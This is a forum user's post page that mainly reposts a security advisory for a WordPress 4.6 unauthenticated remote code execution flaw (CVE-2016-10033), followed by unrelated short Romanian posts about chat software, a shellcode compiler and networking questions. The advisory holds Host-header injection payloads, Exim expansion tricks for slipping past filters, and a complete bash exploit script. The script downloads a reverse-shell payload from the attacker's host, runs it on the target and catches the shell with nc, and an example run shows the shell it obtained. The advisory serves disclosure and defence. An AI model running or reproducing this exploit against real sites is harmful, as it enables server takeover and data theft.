Nytro

============================================= - Discovered by: Dawid Golunski - dawid[at]legalhackers.com - https://legalhackers.com - CVE-2016-10033 - Release date: 03.05.2017 - Revision 1.0 - Severity: Critical ============================================= I. VULNERABILITY ------------------------- WordPress Core 4.6 - Unauthenticated Remote Code Execution (RCE) PoC Exploit (default configuration, no plugins, no auth) II. BACKGROUND ------------------------- "WordPress is a free and open-source content management system (CMS) based on PHP and MySQL. WordPress was used by more than 27.5% of the top 10 million websites as of February 2017. WordPress is reportedly the most popular website management or blogging system in use on the Web, supporting more than 60 million websites." https://en.wikipedia.org/wiki/WordPress III. INTRODUCTION ------------------------- This advisory reveals details of exploitation of the PHPMailer vulnerability (CVE-2016-10033) in WordPress Core which (contrary to what was believed and announced by WordPress security team) was affected by the vulnerability. The Remote Code Execution attack could be used by unauthenticated remote attackers to gain instant access to the target server on which a vulnerable WordPress core version was installed in its default configuration which could lead to a full compromise of the target application server. No plugins or non-standard settings are required to exploit the vulnerability. This advisory reveals new exploitation vectors for PHP mail() function discovered by the author that allow to exploit the vulnerability on a most popular MTA (Mail Transfer Agent) - Exim which can be found installed by default on many system such as Debian or Ubuntu, as opposed to rarely used Sendmail MTA that has been thought to be a requirement for mail() injection attacks to date. Due to critical severity of this vulnerability, disclosure of new exploitation vectors that increase the range of this type of attacks, and the ease of mass exploitation, the release of this advisory was delayed by an extended period of time to allow WordPress and other potentially affected software vendors enough time to update affected mail libraries. The release was also delayed to allow WordPress team more time for patching another WordPress vulnerability (CVE-2017-8295) which will be described in detail in a separate advisory shortly. IV. DESCRIPTION ------------------------- The following snippet of code from WordPress 4.6 - file wp-includes/pluggable.php: if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; } /** * Filters the name to associate with the "from" email address. * * @since 2.3.0 * * @param string $from_name Name associated with the "from" email address. */ $from_name = apply_filters( 'wp_mail_from_name', $from_name ); $phpmailer->setFrom( $from_email, $from_name ); shows that WordPress sets the email domain based on SERVER_NAME server header when WordPress wp_mail() function is called to send an email (e.g. upon user registration, forgotten password etc.). As we can see the from address is formed as follows: $from_email = 'wordpress@' . $sitename; It is then filtered and passed to a vulnerable setFrom() function of PHPMailer which was explained in detail in the previous advisories: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html Injection ============== SERVER_NAME server header can be manipulated on default configurations of Apache Web server (most common WordPress deployment) via HOST header of a HTTP request. To illustrate, here is a request and response of a simple php script vars.php that simply prints out relevant parts of server headers ($_SERVER PHP array): GET /vars.php HTTP/1.1 Host: xenialINJECTION HTTP/1.1 200 OK Server: Apache Array ( [HTTP_HOST] => xenialINJECTION [SERVER_SOFTWARE] => Apache/2.4.18 (Ubuntu) [SERVER_NAME] => xenialinjection ... As we can see, INJECTION string appended to the hostname in HOST header gets copied to both HTTP_HOST and SERVER_NAME PHP variables. Using this HOST header example, if an attacker triggered wp_mail() function by using the forgotten password WordPress feature, the HTTP request would be similar to: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenialINJECT Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 56 Cookie: wordpress_test_cookie=WP+Cookie+check Connection: close user_login=admin&redirect_to=&wp-submit=Get+New+Password and would result in the following parameters passed to /usr/sbin/sendmail : Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenialinject] What is interesting here is the 3rd parameter. The domain part of the email matches the HOST header of the request, except for lower-case "inject". Bypassing the filters ======================= To exploit the PHPMailer's mail() injection vulnerability, an attacker would have to be able to append parameters to the domain part. However, the filtration/validation in place (both on the wordpress side as well as PHPMailer library side) would prevent the attacker from injecting white-characters (such as space or TAB) and therefore from injecting parameters to sendmail binary. For example, if attacker modified the HOST header to the following: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenialINJECT SPACE the validation would result in invalid domain part error and WordPress application would exit with http response of: HTTP/1.0 500 Internal Server Error In which case wp_mail() and therefore the vulnerable PHPMailer functions would never be reached (sendmail binary would not be executed). The validateAddress() function of PHPMailer library as well as PHP's filter_var/FILTER_VALIDATE_EMAIL are both complient with RFC 822 standard as we can read at: http://php.net/manual/en/filter.filters.validate.php which prohibits spaces in the domain part and thus prevents injection of additional parameters to /usr/sbin/sendmail. It should be noted that the technique of injecting additional \ backslash characters to the username part of the email presented in PHPMailer advisory: http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html would not be an option for the attacker as username part of the from address cannot be controlled in this case. RFC 822 and comment syntax -------------- Looking at the RFC 822 specs however, a potential way to bypass the validation was found. According to: https://www.ietf.org/rfc/rfc822.txt email addresses can contain comments: " 3.4.3. COMMENTS A comment is a set of ASCII characters, which is enclosed in matching parentheses and which is not within a quoted-string The comment construct permits message originators to add text which will be useful for human readers, but which will be ignored by the formal semantics. Comments should be retained while the message is subject to interpretation according to this standard. However, comments must NOT be included in other cases, such as during protocol exchanges with mail servers. " The document gives an email example of with comments in brackets: ":sysmail"@ Some-Group. Some-Org, Muhammed.(I am the greatest) Ali @(the)Vegas.WBA as a valid email. A simplified comment example within the domain part would be: john@example.com(comment) After further testing, it turned out that comment part can contain spaces in the domain part, and could be used as a way to bypass the validation of the domain part and inject additional parameters to sendmail binary. Injecting parameters via comment syntax ---------------- The following request with the HOST header set to: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 injected tmp2) will not cause errors and will result in the following parameters supplied to sendmail : Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [injected] Arg no. 5 == [tmp2)] As we can see, We have managed to bypass filters/validation provided by Wordpress filter: apply_filters( 'wp_mail_from_name', $from_name ); As well as PHPMailer's internal setFrom() validation. We now have control over the 4th parameter ('injected') and can inject more parameters inbeetwen arg no.3 and no.5 if necessary. In theory we should now be able to inject additional parameters to /usr/sbin/sendmail wrapper to achieve arbitrary code execution. Code Execution via Sendmail MTA ================================= To date, the only known way of achieving remote code execution via PHP mail() exploitation relied on Sendmail MTA being present on the target system. The most common Sendmail MTA vector is similar to: -OQueueDirectory=/tmp/ -X/var/www/html/backdoor.php It typically writes out a log file with a php backdoor contained within the input message. There are 2 problems with this technique however: 1) Sendmail MTA is not commonly used anymore as we can verify by looking at the statistics at: http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html which show that Sendmail is the least popular among Linux MTAs. It does not ship with any modern Linux distribution and it is not very likely for it to be found installed on a target. 2) The Sendmail technique presented above would not work in the case of the WordPress vulnerability discussed in this advisory. As previously mentioned, hostname copied to SERVER_NAME server variable gets converted into lower-case and therefore injecting Sendmail parameters in a request similar to: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -O -X tmp2) would result in the follwing set of sendmail arguments: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-o] Arg no. 5 == [-x] Arg no. 6 == [tmp2)] Sendmail would fail with an error as arguments are case-sensitive and neither -q nor -x would work. Code execution via Exim4 MTA ================================= While researching the other vulnerabilities in email sending libraries (see previously published advisories for PHPMailer, ZendMail, Swiftmailer), the author of this advisory discovered a new way to achieve command execution with the help of Exim MTA that was previously thought to be immune to mail() injection attacks. This technique has been documented in the white-paper : "Pwning PHP mail() function For Fun And Remote Code Execution" The ability to execute commands through Exim4 MTA opens up many possibilities in regards to exploitation not only of already disclosed vulnerabilities in PHPMailer and other email libraries, but also in regards to mail() function exploitation in general as Exim4 is the most popular MTA available by default on popular Linux distributions such as Debian. The survey confirms the popularity of exim: http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html This increases the chances of it being present on the remote target and is ideal for a reliable proof of concept exploit of the vulnerability presented in this advisory. Direct code execution with Exim4 MTA -------------------------------- The discovered Exim MTA vector, in its most basic form works in the following way: sendmail -be '${run{/bin/true}{true}{false}}' true The -be switch enables string expansion testing mode. The above expansion executes /bin/true and returns the value from the brackets based on the exit code. Similarly, the expansion: sendmail -be '${run{/bin/bash -c "id"}{yes}{no}}' would execute id command. Note: on systems with Exim4, /usr/sbin/sendmail is just a symlink: /usr/sbin/sendmail -> exim4 and has nothing to do with Sendmail MTA. Sendmail MTA is not required to be present on the system for the technique to work. What is very powerful about this vector is that command execution can be achieved in a reliable way directly through the $run expansion specified as an argument and does not require writing files to /var/www/html or guessing directory paths which is the case in already known Sendmail MTA vector. HOST header restrictions ---------------------------------- The seemingly simple Exim4 vector turned out to be tricky in practice since the presented above expansion string would not work within HOST header. A HTTP request similar to: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 slash/ -X tmp2) would be rejected by Apache webserver due to / (slash) character present within the HOST header. The $run function would not work without it as it requires a full path to the binary that is being executed (suggesting that exim4 uses exec() to run it and does not execute commands through system() ). Bypassing restrictions ============================== To bypass restriction of the HOST header several methods were attempted by studying available Exim expansion strings at: http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html Embeded perl ---------------------- One of the expansions that was considered was: ${perl{foo}{argument1}{argument2} ... } however perl is not enabled by default on Exim and therefore would not make the exploit reliable. Encoding --------------------- The family of base64 and HEX encoding/decoding functions were tested but they did not seem to be supported by exim4 used for testing and would result in errors such as: sendmail -be '${base64d:QUI=}' Failed: unknown expansion operator "base64d" Substrings & Environment variables --------------------- Another idea was to use known environment variables in combination with substrings to extract forbidden slash character. For example, the PATH environment variable contains slash: PATH=/bin:/usr/bin and therefore was a good candidate. ${env{PATH}} could be used to retrieve the variable and when connected with $substring expansion, slash could be obtained as can be seen in the following command: sendmail -be '${substr{0}{1}{${env{PATH}}}}' / Unfortunately, this technique led to a dead-end as environment variables such as PATH when inserted within HOST header would be converted to lower-case and thus not work under Linux. Substrings & internal exim4 variables -------------------------------------- With trial and error, the following variable was found to work as expected: sendmail -be '${spool_directory}' /var/spool/exim4 The spool_directory variable is present by default, and does not have capital letters and therefore would work reliably. The slash character could now be replaced with: ${substr{0}{1}{$spool_directory}} to bypass the slash restriction of the HOST header. The following expansion: sendmail -be '${run{/usr/bin/touch /tmp/test}}' Could now be converted to: sendmail -be '${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}' This worked fine under terminal however when tested within a HTTP request: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2) it would result in the following sendmail parameters: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-be] Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch] Arg no. 6 == [${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}] Arg no. 7 == [tmp2)] As we can see, the expansion payload got broken into 2 arguments 5 & 6 instead of one. This prevented Exim from executing the payload properly. The problem was caused by spaces between command parameters (e.g. space after 'touch') Replacing spaces ------------------ First the environment variable IFS was considered, however environment variables would not work properly as previously tested. After further research a convenient internal exim variable was found: sendmail -be '${tod_log}' 2016-01-02 23:49:42 the tod_log variable returns current date in format that contains a space. Similar to the slash replacement, $substring + $tod_log variable could be used to replace the space as was tested with: sendmail -be '${substr{10}{1}{$tod_log}}' PoC HTTP request / minimal PoC exploit ==================================== POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2) Content-Type: application/x-www-form-urlencoded Content-Length: 56 user_login=admin&redirect_to=&wp-submit=Get+New+Password The above request when sent to WordPress core application would cause exim to be called with the following arguments: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-be] Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}] Arg no. 6 == [tmp2)] which would execute: /usr/bin/touch /tmp/test on the target and create a file /tmp/test as tested on WordPress 4.6. Using this payload logic a working exploit was built which executes a reverse shell on the target. V. PROOF OF CONCEPT EXPLOIT CODE ------------------------- #!/bin/bash # # __ __ __ __ __ # / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ # / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ # / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) # /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ # /____/ # # # WordPress 4.6 - Remote Code Execution (RCE) PoC Exploit # CVE-2016-10033 # # wordpress-rce-exploit.sh (ver. 1.0) # # # Discovered and coded by # # Dawid Golunski (@dawid_golunski) # https://legalhackers.com # # ExploitBox project: # https://ExploitBox.io # # Full advisory URL: # https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html # # Exploit src URL: # https://exploitbox.io/exploit/wordpress-rce-exploit.sh # # # Tested on WordPress 4.6: # https://github.com/WordPress/WordPress/archive/4.6.zip # # Usage: # ./wordpress-rce-exploit.sh target-wordpress-url # # # Disclaimer: # For testing purposes only # # # ----------------------------------------------------------------- # # Interested in vulns/exploitation? # # # .;lc' # .,cdkkOOOko;. # .,lxxkkkkOOOO000Ol' # .':oxxxxxkkkkOOOO0000KK0x:' # .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;. # ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl. # '';ldxxxxxdc,. ,oOXXXNNNXd;,. # .ddc;,,:c;. ,c: .cxxc:;:ox: # .dxxxxo, ., ,kMMM0:. ., .lxxxxx: # .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx: # .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx: # .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx: # .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx: # .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx: # .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx: # .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx: # .dxxxxxdl;. ., .. .;cdxxxxxx: # .dxxxxxxxxxdc,. 'cdkkxxxxxxxx: # .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,. # .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:. # .':oxxxxxxxxx.ckkkkkkkkxl,. # .,cdxxxxx.ckkkkkxc. # .':odx.ckxl,. # .,.'. # # https://ExploitBox.io # # https://twitter.com/Exploit_Box # # ----------------------------------------------------------------- rev_host="192.168.57.1" function prep_host_header() { cmd="$1" rce_cmd="\${run{$cmd}}"; # replace / with ${substr{0}{1}{$spool_directory}} #sed 's^/^${substr{0}{1}{$spool_directory}}^g' rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`" # replace ' ' (space) with #sed 's^ ^${substr{10}{1}{$tod_log}}$^g' rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`" #return "target(any -froot@localhost -be $rce_cmd null)" host_header="target(any -froot@localhost -be $rce_cmd null)" return 0 } #cat exploitbox.ans intro=" DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6 b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1 QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54 eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4 bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K" intro2=" ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09 fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09 fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1 cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg==" echo "$intro" | base64 -d echo "$intro2" | base64 -d if [ "$#" -ne 1 ]; then echo -e "Usage:\n$0 target-wordpress-url\n" exit 1 fi target="$1" echo -ne "\e[91m[*]\033[0m" read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice echo if [ "$choice" == "y" ]; then echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n" echo -e "\e[92m[+]\033[0m Connected to the target" # Serve payload/bash script on :80 RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &" echo "$RCE_exec_cmd" > rce.txt python -mSimpleHTTPServer 80 2>/dev/null >&2 & hpid=$! # Save payload on the target in /tmp/rce cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt" prep_host_header "$cmd" curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword echo -e "\n\e[92m[+]\e[0m Payload sent successfully" # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce cmd="/bin/bash /tmp/rce" prep_host_header "$cmd" curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword & echo -e "\n\e[92m[+]\033[0m Payload executed!" echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n" nc -vv -l 1337 echo else echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n" exit 0 fi echo "Exiting..." exit 0 Video PoC ~~~~~~~~~~~~ https://www.youtube.com/watch?v=ZFt_S5pQPX0 Example run ~~~~~~~~~~~~~~~ # ./wordpress-rce-exploit.sh http://wp-host/wordpress/ .;lc' .,cdkkOOOko;. _______ ., ________ ________ _______ \ ___/_ ____ '___\ /_____\ _______\_ _/_ / _/ \\ \/ / __/ // | \_____// \ /_________>> < __/ / /-\ ____ / \ _______/ <___/\___> /________/ /_______> .ddc;,,:c;. ,c: .cxxc:;:ox: .dxxxxo, ., ,kMMM0:. ., .lxxxxx: .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx: .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx: .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx: .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx: .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx: .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx: .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx: .dxxxxxdl;. ., .. .;cdxxxxxx: .dxxxx ________ ____ _____ xxxxx: .':ox \ /_ ________\ \/ / xxc,. . / / \\ > < x, / / | / /\ \ \_________<_______<____> \____> .':odx.ckxl,. .,.'. | ExploitBox.io | + --=| Wordpress Core - Unauthenticated RCE Exploit | + --=| | + --=| Discovered & Coded By | + --=| Dawid Golunski | + --=| https://legalhackers.com | + --=| | + --=| "With Great Power Comes Great Responsibility" | + --=| * For testing purposes only * | [*] Sure you want to get a shell on the target 'http://wp-host/wordpress/' ? [y/N] y [*] Guess I can't argue with that... Let's get started... [+] Connected to the target [+] Payload sent successfully [+] Payload executed! [*] Waiting for the target to send us a reverse shell... Listening on [0.0.0.0] (family 0, port 1337) Connection from [192.168.57.3] port 1337 [tcp/*] accepted (family 2, sport 39232) bash: cannot set terminal process group (10408): Inappropriate ioctl for device bash: no job control in this shell www-data@xenial:/$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@xenial:/$ exit exit exit Exiting... VI. BUSINESS IMPACT ------------------------- Upon a successfull exploitation, a remote unauthenticated attacker would be able to execute arbitrary code on the target server and compromise the target application. VII. SYSTEMS AFFECTED ------------------------- The Remote Code Execution PoC exploit described in this advisory is based on version 4.6 although other versions of WordPress (prior to 4.7.1 which fixed the PHPMailer vulnerability) might also be affected. The advisory presents the exploitation on the example of Exim MTA, the author has also developed another exploit that can also be used on other MTA software. The exploit will be shared shortly after this advisory. VIII. SOLUTION ------------------------- Update to the latest version of WordPress. IX. REFERENCES ------------------------- https://legalhackers.com https://ExploitBox.io Vulnerable WordPress version used for testing/exploitation: https://github.com/WordPress/WordPress/archive/4.6.zip Exploit code: WordPress Core 4.6 - Unauth Remote Code Execution PoC Exploit Video PoC: https://www.youtube.com/watch?v=ZFt_S5pQPX0 WordPress security team announcement: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/ Vendor site: https://wordpress.org Related advisories: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html X. CREDITS ------------------------- The vulnerabilities and exim mail() injection vector presented in this advisory were discovered by : Dawid Golunski dawid (at) legalhackers (dot) com https://legalhackers.com https://ExploitBox.io XI. REVISION HISTORY ------------------------- 03.05.2017 - Advisory released, rev. 1 XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.

O sa il integram cu IP Board.

@Zatarra @Gecko @ CEILALTI Ce platforma noua sugerati? Nu este o cerinta sa fie gratuita, dar ma intereseaza sa fie "safe" si "fully featured and integrated". Posibile solutii: 1. https://www.arrowchat.com/ 2. https://justblab.com/ 3. https://rocket.chat/ 4. https://chatwee.com/ 5. https://discordapp.com/ 6. https://www.cometchat.com/ipb-chat

ShellcodeCompiler primeste ca parametru un script (limbaj asemanator cu C/C++) si genereaza cod ASM. Acel cod ASM e asamblat cu NASM si rezulta shellcode-ul. PS: Acel ASM generat e creat special sa functioneze ca un shellcode (gaseste dinamic functiile pe care le apeleaza, parametrii sunt pusi pe stack, inclusiv sirurile de caractere).

Not yet.

Inflater - "This class provides support for general purpose decompression using the popular ZLIB compression library" https://docs.python.org/2/library/zlib.html

int main() { if (ChuckNorris()) printf("Muie "); else printf("Dragnea"); return 0; } Era banal...

Am facut update la ultima versiune de IPB: https://invisionpower.com/release-notes/ Am facut diverse alte update-uri la server. Postati aici daca sunt probleme.

L-a incercat cineva?

Cateva ore bune. Nu e tocmai rescris, e aranjat si grupat pe clase mai exact, ca era un singur fisier cu mult cod.

Am rescris codul, era un singur fisier mare, acum arata mai normal. Sper ca in curand sa ii pot face update-ul pe care vreau sa il fac. https://github.com/NytroRST/ShellcodeCompiler

Salut. OVH, Debian, Apache, PHP 7, MSQL, nu are nimic special. Bine, doar pe parte de security e hardcore, l-am configurat cu ./nytro.sh --force

Aveam un plugin care ajuta, dar a provocat probleme. O sa il incerc din nou cand o sa am timp.

Da, am avut o discutie si cu un coleg si m-am uitat peste RFC-ul care defineste protocolul IP si nu se foloseste terminologia de port. Insa, teoretic vorbind, e tot un port (al protocolului IP). Noi suntem obisnuiti cu definitia clasica de port: un numar pe 16 biti bla bla. Insa in esente, porturile se folosesc pentru multiplexarea fluxului de date. Mai exact, anumite date ajung pe portul 80, altele ajung pe portul 25 etc (multiplexare). In cazul de fata, aceasta multiplexare nu se refera la un port care e folosit de un anumit program (ca TCP 80 de catre Apache), ci este un port care indica, cum spune standardul "next higher level protocol". Altfel spus, acest IP protocol/port nu face diferentierea intre programele la care trebuie sa ajunga date ci face diferentierea intre "<<programele>> pentru procesarea protocolului", cum ar fi TCP/UDP/ICMP. In acest gaz "programele" reprezinta bucatile de cod care se ocupa de procesarea protocoalelor urmatoare. Plm, nu stiu daca am explicat cum trebuie.

Alta intrebare: ce port foloseste TCP si ce port foloseste UDP? Nu ma refer la porturi TCP/UDP.

Am vazut pe Twitter, nu stiam raspunsul. E o intrebare de networking. Ce port foloseste ping-ul?

